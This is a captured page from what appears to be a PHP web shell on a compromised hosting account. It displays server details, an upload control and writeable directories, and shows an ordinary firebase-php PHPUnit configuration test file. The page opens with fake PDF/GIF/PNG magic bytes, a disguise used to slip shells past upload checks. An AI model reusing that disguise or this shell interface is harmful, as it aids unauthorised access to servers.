%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_6ca89795/vendor/kreait/firebase-php/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_6ca89795/vendor/kreait/firebase-php/tests/ConfigurationTest.php
<?php

/*
 * This file is part of the firebase-php package.
 *
 * (c) Jérôme Gamez <jerome@kreait.com>
 * (c) kreait GmbH <info@kreait.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Kreait\Firebase;

use Kreait\Firebase\Auth\TokenGeneratorInterface;
use Kreait\Firebase\Exception\ConfigurationException;

class ConfigurationTest extends \PHPUnit_Framework_TestCase
{
    /**
     * @var ConfigurationInterface
     */
    private $configuration;

    protected function setUp()
    {
        $this->configuration = new Configuration();
    }

    public function testDefaultState()
    {
        $this->assertInstanceOf('\Psr\Log\LoggerInterface', $this->configuration->getLogger());
        $this->assertInstanceOf('\Ivory\HttpAdapter\HttpAdapterInterface', $this->configuration->getHttpAdapter());

        $this->assertFalse($this->configuration->hasFirebaseSecret());
    }

    /**
     * @expectedException \Kreait\Firebase\Exception\ConfigurationException
     */
    public function testGettingUndefinedSecretThrowsException()
    {
        $this->configuration->getFirebaseSecret();
    }

    public function testSetAndGetFirebaseSecret()
    {
        $this->configuration->setFirebaseSecret($secret = 'foo');

        $this->assertTrue($this->configuration->hasFirebaseSecret());
        $this->assertSame($secret, $this->configuration->getFirebaseSecret());
    }

    public function testSetAndGetHttpAdapter()
    {
        /** @var \Ivory\HttpAdapter\HttpAdapterInterface $http */
        $http = $this->prophesize('\Ivory\HttpAdapter\HttpAdapterInterface')->reveal();

        $this->configuration->setHttpAdapter($http);

        $this->assertSame($http, $this->configuration->getHttpAdapter());
    }

    public function testSetAndGetLogger()
    {
        /** @var \Psr\Log\LoggerInterface $logger */
        $logger = $this->prophesize('\Psr\Log\LoggerInterface')->reveal();

        $this->configuration->setLogger($logger);

        $this->assertSame($logger, $this->configuration->getLogger());
    }

    /**
     * @expectedException \Kreait\Firebase\Exception\ConfigurationException
     */
    public function testGetAuthTokenGeneratorWithoutSecretThrowsException()
    {
        $configuration = new Configuration();
        $configuration->getAuthTokenGenerator();
    }

    public function testSetAndGetAuthTokenGenerator()
    {
        /** @var TokenGeneratorInterface $generator */
        $generator = $this->prophesize('Kreait\Firebase\Auth\TokenGeneratorInterface')->reveal();

        $this->configuration->setAuthTokenGenerator($generator);
        $this->assertSame($generator, $this->configuration->getAuthTokenGenerator());
    }

    public function testUnsetAuthTokenGeneratorResultsInDefaultGenerator()
    {
        $this->configuration->setFirebaseSecret('foo');

        $generator = $this->configuration->getAuthTokenGenerator();

        $this->assertInstanceOf('Kreait\Firebase\Auth\TokenGenerator', $generator);
    }
}

VaKeR 2022